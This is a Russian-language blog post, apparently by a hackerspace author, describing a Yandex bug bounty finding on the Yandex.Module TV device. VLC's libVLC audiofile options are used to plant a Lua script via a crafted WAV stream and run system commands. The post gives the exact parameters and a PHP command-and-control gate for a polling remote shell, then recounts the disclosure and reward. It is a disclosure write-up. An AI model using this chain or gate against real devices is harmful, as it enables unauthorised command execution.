Найти в Дзене
Кириши HackerSpace

BugBounty, VLC и Яндекс Модуль

Доброго времени суток эврибадям и эвриванам. Наконец то я созрел с мыслями для написания новой статейки. История о которой я хочу поведать в этот раз, заняла достаточно много времени и происходила с января по август 2К24 года, так что в этой статье будет много букав, скриншотов и фоточек, немного лирики в перемешку с теорией, щепотка кода на разных языках программирования и всего одно видео. Погнали... Некоторое время назад я уже упоминал про мой опыт участия в BugBounty от Яндекса, кто не в теме, может ознакомится. В тот раз объектом исследования была Яндекс Станция с Алисой. В этот раз я решил познакомится поближе с девайсом под названием Яндекс.Модуль. Специально для этих тэстов я приобрёл б/у шный модуль с авито. Потыкав элементы навигации и посмотрев как отображается наш канал на ютубчике, я решил пощупать всеми нами горячо любимый VLC плеер. Моё внимание почему то сразу привлёк файловый менеджер VLC по дефолту в нём было видно только Хранилище внутренней памяти.  Но немного ос

Доброго времени суток эврибадям и эвриванам.

Наконец то я созрел с мыслями для написания новой статейки.

История о которой я хочу поведать в этот раз, заняла достаточно много времени и происходила с января по август 2К24 года, так что в этой статье будет много букав, скриншотов и фоточек, немного лирики в перемешку с теорией, щепотка кода на разных языках программирования и всего одно видео.

Погнали...

Некоторое время назад я уже упоминал про мой опыт участия в BugBounty от Яндекса, кто не в теме, может ознакомится. В тот раз объектом исследования была Яндекс Станция с Алисой.

В этот раз я решил познакомится поближе с девайсом под названием Яндекс.Модуль.

Комплектейш
Комплектейш

Специально для этих тэстов я приобрёл б/у шный модуль с авито.

хм... эта YaOS на что то похожа ;)
хм... эта YaOS на что то похожа ;)

Потыкав элементы навигации и посмотрев как отображается наш канал на ютубчике, я решил пощупать всеми нами горячо любимый VLC плеер.

Install
Install

Моё внимание почему то сразу привлёк файловый менеджер VLC

по дефолту в нём было видно только Хранилище внутренней памяти.

 Но немного осмотревшись я нашёл интересную опцию, которая позволяла добавить другие каталоги для отображения.

-4

Немного помедитировав, какие же каталоги я бы хотел увидеть в своей медиатеке ;) я решил добавить bin, system, vendor, proc, etc

 И был приятно удивлён когда после добавления эти каталоги стали доступны для просмотра из интерфейса VLC в разделе "Обзор" вместе с их содержимым.

Каталоги корневой файловой системы
Каталоги корневой файловой системы

файлы каталога bin
файлы каталога bin

Перфекто !

-7

я лихорадочно начал сёрфить другие каталоги своей новой "медиатеки" это в свою очередь позволяло мне получить более полную информацию о том, с каким набором инструментов я имею дело.

<L> ВНИМАНИЕ ЛИРИКА </L>

Из соображений защиты результатов деятельности приверженцев капиталистическо-проприетарной философии, любой коммерческий продукт старается максимально скрыть информацию о используемых ими технических решениях, софте и его версиях (см.термин Коммерческая тайна) чтобы:

  • Затруднить анализ своих свистоперделок
  • Абстрагировать потребителя своих свистоперделок от лишней технической и системной информации, логов, каталогов и файлов.
  • Сконцентрировать всё внимание потребителя только на своём продукте, красивых обоях, платных подписках и сервисах.

Ведь потянув за эти ниточки можно распутать целый клубок интересной инфы, нагуглить публичные эксплойты или выяснить что исследуемый коммерческий продукт сделан вовсе не из софта собственного производства, а из множества бесплатных, свободных и доступных всем решений.

=========конец лирики=========

И чО ?
- Скажете вы...
Файлы - файлами, Каталоги - Каталогами но VLC ведь медиакомбайн, а не текстовый редактор. И посмотреть содержимое конфигов у тебя не получится ...

ИЛИ...

Или
Или

Ок.

на предыдущем шаге VLC нам помог определить содержимое каталогов, названия файлов и их размер. На этом этапе с помощью того же VLC попробуем прочитать содержимое конфигурационных и системных файлов (например из каталогов proc и vendor) а так же выполнить некоторые команды нашей операционной системы YaOS .

из анализа логов VLC я заметил что конфигурируется он с опциями "--enable-lua"

VLC Log
VLC Log

 взял на вооружение адрес с которого VLC подгружает пользовательские .lua скрипты.

"/data/user/0/org.videolan.vlc/app_vlc/.share/lua/meta/art/"

  Далее я использовал опцию спецпараметров libVLC для внедрения своих .lua скриптов по адресу выше.

 "--aout=afile
 --no-audiofile-wav
 --audiofile-file=/data/user/0/org.videolan.vlc/app_vlc/.share/lua/meta/art/poc.lua"
-10

 Следующим шагом я сформировал отравленный .wav файл с RIFF заголовком и .lua содержимым , который при проигрывании плеером благодаря спецпараметрам libVLC запишет своё .lua содержимое в нужную нам директорию.

MyPoisonMediaFile .wav
MyPoisonMediaFile .wav

Далее перезапустил VLC чтобы настройки с обновлённым конфигом libVLC вступили в силу.

 Залил этот poison .wav на заранее поднятый web-сервер в своей локальной сети  http://192.168.2.112/poc.wav

 И скормил всё это VLC плееру на модуле, указав URL сетевого потока.

Пожмякал Play (но ничего не услышал и не увидел так как плеер воспроизвёл содержимое и записал файл в указаную в libVLC директорию)

 Теоретически VLC подтягивает наш "lua payload" если перейти в "обзор->внутренняя память", а результаты выполнения можно будет смотреть в отладочных сообщениях.

Жму "начать протоколирование"

и

Жду формирования лога.

 И в самом низу, среди прочих сообщений, вижу попытку запуска своего .lua сценария и результат его выполнения.

uname -a
uname -a

Хм... может быть показалось...)

пробую другую команду

mount
mount

Действительно работает ;)

Медитирую ...

Затем. Одной рукой, из говна, палок и php, собираю что то похожее на реверс шелл, второй отправляю баг репорт в Яндекс.

.lua Код демона на модуле:

-14

.php Код сборщика логов (gate.php):

<?php 

$cmd = 'file /bin/awk'; //команда на выполнение модулю

$res = $_GET['res']; //если от модуля пришёл GET запрос с результатом выполнения команды

$fp = fopen("explog.txt",w);

fwrite($fp,urldecode($res));

fclose($fp);

/*

открываем explog.txt и пишем в него результат выполнения

*/

if($res=="cmd"){echo $cmd;}else{echo "Everything is ok !";}

?>

Видео демонстрация работы всей этой дичи ;)

принцип работы шелла следующий...
.lua демон интегрированный в VLC, периодически опрашивает мой сервер (gate.php) на наличие новых команд, забирает их, выполняет на модуле и отправляет ответ обратно.
Привилегии достаточно ограничены, но позволяют читать, создавать файлы, сетевые соединения и выполнять некоторые системные команды.

Багрепорт был отправлен и зарегистрирован 29 января

29 января
29 января

30 января
30 января

Далее последовало стандартное трёхмесячное ожидание, и не менее интересные качели со службой информационной безопасности. Через 3 месяца, я отправил 2 письма с просьбой поинтересоваться статусом отчёта, но мне увы никто не ответил.

Я приуныл конечно, подумав что в наше не спокойное время "импортазамещения зарубежных активов", когда "Макдональдс" вдруг стал "Вкусно и Точка" а "KFC" переименовался в "Ростикс" возможно и у Яндекса, начались эти дни, сменилось руководство или подразделение обрабатывающее багрепорты вовсе расформировали, но 27 мая получаю такой ответ:

27 мая
27 мая

Вот это поворот, подумал я ...

ну ладно хоть мои догадки по расформированию не оправдались )

и ответил:

3 июня
3 июня

пользуясь случаем прикрепил фотку промокарты которая даёт +13337 рублей к любому принятому отчёту.

Артефакт +13337 HP, отдельное спасибо @Comrade
Артефакт +13337 HP, отдельное спасибо @Comrade

в этот же день получаю ответ:

3 июня
3 июня

Осталось загадкой

Как же мне удалось проэксплуатировать уязвимость пропатченую более года назад, да ещё и видео заснять.

Но так как эта история со счастливым концом ;)

13 июня отчёт обновляет статус "Обработан"

13 июня
13 июня

2 июля получаю письмо:

2 июля
2 июля

23 июля встречаю курьера с Мерчем

Яндекс.Носки и остальной Лут
Яндекс.Носки и остальной Лут

8 августа получаю смс от банка

PROFIT
PROFIT

вот такие пироги ;)

Если вам нравится материал публикуемый на данном канале, вы можете поддержать меня чашкой кофе

Отдельно буду признателен и благодарен вам за лайк, репост или подписку ❤️

Спасибо что дочитали до конца !

Надеюсь осенью и зимой будет время и возможности публиковать что то интересное.